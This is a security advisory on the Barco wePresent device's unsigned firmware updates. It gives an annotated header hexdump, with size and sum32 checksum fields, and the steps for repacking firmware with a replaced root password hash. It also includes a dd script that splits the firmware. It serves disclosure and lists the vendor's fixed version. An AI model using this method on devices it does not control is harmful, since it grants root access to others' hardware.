Barco wePresent Insecure Firmware Image

Vulnerability Description

The Barco wePresent firmware does not perform verification of digitally signed firmware updates and is susceptible to processing and installing modified/malicious images.

Technical Description

The Barco wePresent firmware unpacks partially using binwalk. Using ‘dd’ it is possible to extract the 4 component files in the firmware. They are:

• a 512 byte header
• a cramfs file system
• a uBoot
• and a tar.gz’d set of files (where the /etc/shadow file lives)

The initial attempt at modifying the firmware failed when the device computed a checksum and denied processing the modified firmware. Knowing that a checksum was used in validating firmware, the focus was on the header file. Most of the fields in the header file are text-based and easily identifiable. There were, however, fields whose purpose were not immediately obvious. After some thought and processing of the bytes, the following header file structure was identified. The following is hexdump output with comments interspersed.

$ hexdump -C header
00000000  61 77 2d 66 68 30 30 33  02 05 01 08 14 14 02 07  |aw-fh003........|
                              (version=2.5.1.8)
                                               (0x14 = 20; date = 2020/02/07
00000010  61 77 69 6e 64 2e 57 69  50 47 2d 31 36 30 30 2e  |awind.WiPG-1600.|
00000020  57 4d 38 37 35 30 00 00  00 00 00 00 00 00 00 00  |WM8750..........|
00000030  57 50 53 00 00 00 00 00  00 00 00 00 00 00 00 00  |WPS.............|
00000040  41 57 49 00 00 00 00 00  00 00 00 00 00 00 00 00  |AWI.............|
00000050  64 65 66 61 75 6c 74 00  00 00 00 00 00 00 00 00  |default.........|
00000060  f3 ec 90 07 08 22 ab cf  64 65 66 61 75 6c 74 00  |....."..default.|
         (0x0790ecf3 = 126938355 bytes = filesize of the firmware without the first 512 bytes, which is the header)
                     (0xcfab2208 = sum32 checksum of the firmware without the first 512 bytes, which is the header)
00000070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000080  61 77 2d 65 78 74 72 61  01 00 00 00 ff ff ff ff  |aw-extra........|
00000090  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000200

Generating a new firmware version involved gunzip’ing and untar’ing the filesystem, replacing the hash, and tar-gzip’ing back up. Once it is tar.gz, it is necessary to concatenate all parts of the new firmware together without the header file. Next, calculate the sum32 checksum on this file. With the new sum32 checksum and filesize of the tar.gz file, modify the new header file to look like:

00000000  61 77 2d 66 68 30 30 33  02 05 01 09 14 14 02 07  |aw-fh003........|
00000010  61 77 69 6e 64 2e 57 69  50 47 2d 31 36 30 30 2e  |awind.WiPG-1600.|
00000020  57 4d 38 37 35 30 00 00  00 00 00 00 00 00 00 00  |WM8750..........|
00000030  57 50 53 00 00 00 00 00  00 00 00 00 00 00 00 00  |WPS.............|
00000040  41 57 49 00 00 00 00 00  00 00 00 00 00 00 00 00  |AWI.............|
00000050  64 65 66 61 75 6c 74 00  00 00 00 00 00 00 00 00  |default.........|
00000060  5f 2a 91 07 39 66 da cf  64 65 66 61 75 6c 74 00  |_*..9f..default.|
00000070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000080  61 77 2d 65 78 74 72 61  01 00 00 00 ff ff ff ff  |aw-extra........|
00000090  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000200

Now, concatenate the header file onto the new firmware to complete the firmware packaging. This new file can now be uploaded to the wePresent device. After the firmware update, the device will revert back to the default admin password of “admin”. The steps in KL-001-2020-007 (CVE-2020-28331) can be run again to re-enable SSH, and now ssh in with a known root password.

Mitigation and Remediation Recommendation

The vendor has released an updated firmware (2.5.3.12) which remediates the described vulnerability. Firmware and release notes are available at:

https://www.barco.com/en/support/software/R33050104

Credit

This vulnerability was discovered by Jim Becher (@jimbecher) and Matt Bergin (@thatguylevel) of KoreLogic, Inc.

Proof of Concept

$ more unpack-firmware.sh
#!/bin/sh
dd bs=512 if=$1 of=$1.header count=1
dd bs=512 if=$1 of=$1.cromfs skip=1 count=10240
dd bs=512 if=$1 of=$1.uboot skip=10241 count=6144
dd bs=512 if=$1 of=$1.fs.tar.gz skip=16385

$ ls -altr
total 123972
drwxr-xr-x 5 user user      4096 Jul 17 21:12 ..
drwxr-xr-x 2 user user      4096 Jul 17 21:12 .
-rw-r--r-- 1 user user 126938867 Jul 17 21:12 awind.WiPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad

$ ./unpack-firmware.sh awind.WiPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad
1+0 records in
1+0 records out
512 bytes copied, 0.000389048 s, 1.3 MB/s
10240+0 records in
10240+0 records out
5242880 bytes (5.2 MB, 5.0 MiB) copied, 0.0501995 s, 104 MB/s
6144+0 records in
6144+0 records out
3145728 bytes (3.1 MB, 3.0 MiB) copied, 0.0120293 s, 262 MB/s
231542+1 records in
231542+1 records out
118549747 bytes (119 MB, 113 MiB) copied, 0.388187 s, 305 MB/s

$ file *
awind.WiPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad:           data
awind.WiPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad.cromfs:    Linux Compressed ROM File System data, little endian size 4452352 version #2 sorted_dirs CRC 0xd1b0b3fa, edition 0, 2359 blocks, 918 files
awind.WiPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad.fs.tar.gz: gzip compressed data, last modified: Fri Feb  7 05:57:05 2020, from Unix
awind.WiPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad.header:    data
awind.WiPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad.uboot:     u-boot legacy uImage, Linux-2.6.32.9-default, Linux/ARM, OS Kernel Image (Not compressed), 2104776 bytes, Thu May 30 06:06:07 2019, Load Address: 0x00008000, Entry Point: 0x00008000, Header CRC: 0xB224BB24, Data CRC: 0xD50B7080

The contents of this advisory are copyright(c) 2020 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt